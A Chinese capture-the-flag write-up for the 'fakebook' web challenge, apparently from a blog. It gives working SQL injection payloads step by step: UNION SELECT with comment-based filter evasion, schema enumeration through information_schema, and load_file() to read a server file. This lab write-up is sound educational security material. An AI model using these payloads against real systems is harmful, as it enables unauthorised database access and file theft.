攻防世界-Web-fakebook

0x01

根据提示注册一个用户,blog的位置需要输入一段网址才能通过注册。注册成功以后可以查看用户信息。
在这里插入图片描述
通过?no=1 and 1=1?no=1 and 1=2可以验证存在SQL注入漏洞,接下来尝试注入。

0x02

使用?no=1 union/**/select 1,2,3,4可以判断该表中存在4个字段
使用?no=1 and 0 union/**/select 1,2,3,4可以判断有回显的字段是第二个
使用?no=1 and 0 union/**/select 1,database(),3,4可以查出当前数据库是fakebook
使用?no=1 and 0 union/**/select 1,user(),3,4显示当前用户是root@localhost
使用?no=1 and 0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'查到当前数据库中有一个users表
使用?no=1 and 0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'查出users表中有no,username,passwd,data这几个字段

0x03

这道题的flag没有明说在哪个位置,但是通过扫描发现有一个flag.php的页面,所以接下来就需要读取这个页面的内容。配合刚刚注入时发现的MySQL用户是root,这就可以尝试使用SQL中的load_file()函数来读取文件,payload如下:
?no=0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
在浏览器里可以查看到flag:
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值